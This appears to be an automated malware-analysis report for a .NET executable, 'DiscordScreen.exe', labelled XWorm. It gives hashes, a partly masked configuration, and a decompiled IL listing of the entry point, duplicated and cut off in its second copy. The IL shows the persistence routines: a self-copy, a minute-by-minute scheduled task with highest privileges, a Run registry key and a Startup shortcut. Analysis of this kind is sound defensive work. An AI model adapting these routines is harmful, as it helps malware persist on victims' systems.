Malicious
Malicious

229eead018d5239fec9bc7dea6aea973

PE Executable
MD5: 229eead018d5239fec9bc7dea6aea973
Size: 261.63 KB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Size
261.63 KB · 261,632 B
First seen
2025-08-23 08:01 · one year ago
Last seen
2025-08-23 08:01 · one year ago
Last analysis
2025-08-23 08:25 · one year ago
Hashes
MD5 229eead018d5239fec9bc7dea6aea973 Sha1 c810a3db8824a891adfede933079020bcf105df2 Sha256 c29b8c089386c964ea2f63e79e78fc57abbe732b3b8366827218858b0ed7c256 Sha384 f4ba4bc93a39d826c4a85a64e76517eb6ec0a5e0c8fb532d46a84f1b568932d2ac8cd754bc8460cbf357f08b54fd8f60 Sha512 2ff62fb4fa0e0ef474f9dcdb73bba92e9955868b3939202ffda4973064d109b5f96153de404b39608e35f6ce594def252fcf6ea2082506d7b6fd4afe69c9b741 SSDeep 3072:pv33nWbONUA5Cr+OCOct5IpxkFJOBXy9XgtBLVj6QIs:lWbCUA5wfp6beXy9wtBJjS TLSH 12445B20B7DA8C5AE1AFBF7508906123BE37FC9264027D5B21947A8E1D7E5C39D00DA7
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very high
1 malicious · 14 files
EXE229eead018d5239fec9bc7dea6aea973XWorm
Structure
BINResources
BINRT_ICON
BINID:0001
BINID:0
BINID:0002
BINID:0
BINID:0003
BINID:0
BINID:0004
BINID:0
BINID:0005
BINID:0
BINID:0006
BINID:0
BINID:0007
BINID:0
BINID:0008
BINID:0
BINID:0009
IMGID:0
IMGID:0-preview.png
BINRT_GROUP_CURSOR4
BINID:0001
BINID:0
BINRT_VERSION
BINID:0001
BINID:0
BINRT_MANIFEST
BINID:0001
BINID:0
Config. Field Value
Mutex Rx6I6huhuhuhuhuhuhu
Hosts tcp.chuhuhuhuhuhuhu
Port 5huhuhuhu
KEY <wahuhuhuhu
USBNM <Xwhuhuhuhu
LoggerPath %Phuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
DiscordScreen.exe
Full Name
DiscordScreen.exe
EntryPoint 
System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::isfljF2kZ15JQl3daaIV0jRaJk5yWRpLK5()
Scope Name
DiscordScreen.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DiscordScreen
Assembly Version
1.0.9059.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
425
Main Method 
System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::isfljF2kZ15JQl3daaIV0jRaJk5yWRpLK5()
Main IL Instruction Count
319
Main IL 
ldsfld System.Int32 AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::Baqh9YllXO8U6rBhe4avaaBCoFsOWbtZxS
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::ffqDcwEIlXm2M2Cw3PBQKs27HL9TGisDGa
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::ffqDcwEIlXm2M2Cw3PBQKs27HL9TGisDGa
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::qxRqVxZaRJUR51FeeYiwdCweO8I1oXyM3h
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::qxRqVxZaRJUR51FeeYiwdCweO8I1oXyM3h
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::DYWnBTCt0j4daYaew3WWu8RrpacRqyDoFN
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::DYWnBTCt0j4daYaew3WWu8RrpacRqyDoFN
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::lbyl8krJPD9GCfuJ4xffh7elETgAibAnai
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::lbyl8krJPD9GCfuJ4xffh7elETgAibAnai
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::0iEFY1RAY3o9YEuJVdkPZ1erbFwzewB5Ns
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::0iEFY1RAY3o9YEuJVdkPZ1erbFwzewB5Ns
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::CQcQhTtv7GaPrZjQr34EpDoUzOYUB4QuVW
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::CQcQhTtv7GaPrZjQr34EpDoUzOYUB4QuVW
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::nyIeazjCo4a1vn62gq5pgI2S8kEmaqNUXq
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::nyIeazjCo4a1vn62gq5pgI2S8kEmaqNUXq
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
leave.s IL_00CB: call System.Boolean Stub.FaMyQciHHKC1abu9hV9z16WbHNwHfuO8Yi49dawOMGrmSunQso80d9Y1Zmpwm7MLdJ::9ECu9eoeGWLR3C5bnOTa74Jl5YNEUCVRsVDSY3aehzlMQc3oPt0()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00CB: call System.Boolean Stub.FaMyQciHHKC1abu9hV9z16WbHNwHfuO8Yi49dawOMGrmSunQso80d9Y1Zmpwm7MLdJ::9ECu9eoeGWLR3C5bnOTa74Jl5YNEUCVRsVDSY3aehzlMQc3oPt0()
call System.Boolean Stub.FaMyQciHHKC1abu9hV9z16WbHNwHfuO8Yi49dawOMGrmSunQso80d9Y1Zmpwm7MLdJ::9ECu9eoeGWLR3C5bnOTa74Jl5YNEUCVRsVDSY3aehzlMQc3oPt0()
brtrue.s IL_00D8: call System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::OtLkRtoqoTS1aSLwKzA5bxqcr5KmxKAEtx()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::OtLkRtoqoTS1aSLwKzA5bxqcr5KmxKAEtx()
leave.s IL_00EE: call System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::rtybpbrf1ufGV7GO8Mo59aDptIHUxcGcVt()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00EE: call System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::rtybpbrf1ufGV7GO8Mo59aDptIHUxcGcVt()
call System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::rtybpbrf1ufGV7GO8Mo59aDptIHUxcGcVt()
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::nyIeazjCo4a1vn62gq5pgI2S8kEmaqNUXq
ldstr \
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_5
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_0135: ldloc.0
ldloc.s V_5
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_014C: ldc.i4 1000
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.FaMyQciHHKC1abu9hV9z16WbHNwHfuO8Yi49dawOMGrmSunQso80d9Y1Zmpwm7MLdJ::2DfwnVVWx6lDiFJblpGTTb5vXcHOaXoIIaUJtuTq6BC6ngtouoe
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_0177: ldstr "schtasks.exe"
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0177: ldstr "schtasks.exe"
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.String Stub.WPVRIkABeax7h8aScf0SyiWqZQkuEHYpkm::Wh4V6uIszilcS0D3n7IR1rhiBzS78yuczi()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_01DD: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_14
ldc.i4.1 <null>
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_14
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_14
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_14
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_14
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_0221: ldloc.s V_9
ldloc.s V_9
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_14
ldc.i4.1 <null>
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_14
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_14
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_14
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_14
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_9
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_8
ldloc.s V_8
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_0242: call My.BGb4vpAbUR8HIwJo350CCYiPbfJh6RhsfD My.BMRbhGqPvde2GYR7nBiL2ENiaiNDWQaEgZ::1RthgB3KIe0u5LZi6eA6c7zxgfZkCroKgB()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0242: call My.BGb4vpAbUR8HIwJo350CCYiPbfJh6RhsfD My.BMRbhGqPvde2GYR7nBiL2ENiaiNDWQaEgZ::1RthgB3KIe0u5LZi6eA6c7zxgfZkCroKgB()
call My.BGb4vpAbUR8HIwJo350CCYiPbfJh6RhsfD My.BMRbhGqPvde2GYR7nBiL2ENiaiNDWQaEgZ::1RthgB3KIe0u5LZi6eA6c7zxgfZkCroKgB()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_027D: ldc.i4.7
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_11
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_027D: ldc.i4.7
ldc.i4.7 <null>
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldstr .lnk
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_12
ldstr WScript.Shell
ldstr 
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldstr CreateShortcut
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
ldc.i4.0 <null>
ldloc.s V_12
stelem.ref <null>
ldloc.s V_15
stloc.s V_16
ldloc.s V_16
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_0302: stloc.s V_18
ldloc.s V_16
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldstr TargetPath
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_19
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_18
ldnull <null>
ldstr WorkingDirectory
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
ldc.i4.0 <null>
ldstr 
stelem.ref <null>
ldloc.s V_19
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldloc.s V_18
ldnull <null>
ldstr Save
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldnull <null>
stloc.s V_18
ldloc.s V_12
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Stub.FaMyQciHHKC1abu9hV9z16WbHNwHfuO8Yi49dawOMGrmSunQso80d9Y1Zmpwm7MLdJ::8B87903IE52qJPUF324Sh7E6zkL2herKGodyCFjtZkISEVHrggv
leave.s IL_0381: call System.Void Stub.64Tc6Fehx1k7BXae4s4ADXLT9NhLeO8GvQK0XBksgcTKd0HjSbimCSok5B62Yfz2tI::c4sMd02Jw1muQUWn6HiZP8pDGfH4CdhCoc07FhwgMvUuNPDtrS457y0uSkrQLGN5gw()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0381: call System.Void Stub.64Tc6Fehx1k7BXae4s4ADXLT9NhLeO8GvQK0XBksgcTKd0HjSbimCSok5B62Yfz2tI::c4sMd02Jw1muQUWn6HiZP8pDGfH4CdhCoc07FhwgMvUuNPDtrS457y0uSkrQLGN5gw()
call System.Void Stub.64Tc6Fehx1k7BXae4s4ADXLT9NhLeO8GvQK0XBksgcTKd0HjSbimCSok5B62Yfz2tI::c4sMd02Jw1muQUWn6HiZP8pDGfH4CdhCoc07FhwgMvUuNPDtrS457y0uSkrQLGN5gw()
call System.Void Stub.FaMyQciHHKC1abu9hV9z16WbHNwHfuO8Yi49dawOMGrmSunQso80d9Y1Zmpwm7MLdJ::3mxibycM4QN3kHuT8HYdbgfUJnGHjonKneIHPMmQLLTLUIKPByFKwqyEtpuykm93bN()
ldnull <null>
ldftn System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::fBPXNZs3F06xJ0QwGenSFIPCAKQE27FTk5()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.WPVRIkABeax7h8aScf0SyiWqZQkuEHYpkm::Wh4V6uIszilcS0D3n7IR1rhiBzS78yuczi()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_03B2: ldnull
call System.Void Stub.Yo975KwL6niSWQ6xdsDkoMc1fR4PyMrqOKy2vA9Z4oRJZpYIQMQa1p3FKjIv6T6OaA::wGQyj5mUL19KIzkFMj5TXI4FTL1FpfbbHaodXJuwLpr9pAljHgVHIxUcNVZL34Rvkr()
ldnull <null>
ldftn System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::UIIngLSB4opkbIvePvEm2M2NOtvyU9075u()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::ThHSntgbF4GPztjXYHxPBNshcgm8lMeslh()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Module Name
DiscordScreen.exe
Full Name
DiscordScreen.exe
EntryPoint 
System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::isfljF2kZ15JQl3daaIV0jRaJk5yWRpLK5()
Scope Name
DiscordScreen.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DiscordScreen
Assembly Version
1.0.9059.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
425
Main Method 
System.Void Stub.f25xtheks6wcJPSII4qVDYKbIhUqvPjWiJ::isfljF2kZ15JQl3daaIV0jRaJk5yWRpLK5()
Main IL Instruction Count
319
Main IL 
ldsfld System.Int32 AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::Baqh9YllXO8U6rBhe4avaaBCoFsOWbtZxS
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::ffqDcwEIlXm2M2Cw3PBQKs27HL9TGisDGa
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::ffqDcwEIlXm2M2Cw3PBQKs27HL9TGisDGa
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::qxRqVxZaRJUR51FeeYiwdCweO8I1oXyM3h
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::qxRqVxZaRJUR51FeeYiwdCweO8I1oXyM3h
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::DYWnBTCt0j4daYaew3WWu8RrpacRqyDoFN
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::DYWnBTCt0j4daYaew3WWu8RrpacRqyDoFN
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::lbyl8krJPD9GCfuJ4xffh7elETgAibAnai
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::lbyl8krJPD9GCfuJ4xffh7elETgAibAnai
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::0iEFY1RAY3o9YEuJVdkPZ1erbFwzewB5Ns
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::0iEFY1RAY3o9YEuJVdkPZ1erbFwzewB5Ns
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::CQcQhTtv7GaPrZjQr34EpDoUzOYUB4QuVW
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::CQcQhTtv7GaPrZjQr34EpDoUzOYUB4QuVW
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::nyIeazjCo4a1vn62gq5pgI2S8kEmaqNUXq
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::nyIeazjCo4a1vn62gq5pgI2S8kEmaqNUXq
ldsfld System.String AWSC7aTUy1jVl5guoCg2mVphVKNKa8kkzb::kLpzu3UU25JDJkRsVFgVdnyk1uwLfDXvv3
call System.Object Stub.NDDWrM4YTV5kMV0pmasFzI44SbVe3cPVQVtvSlNXTEEQTkJ9c8pztolkXi64JdyAKV::pkZWFGpS1mXz4gqw4GRu7HcMFq225ny8fHMY1bjiKmTl5tIzB0OPP6YaCYXbZ7kfEE(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
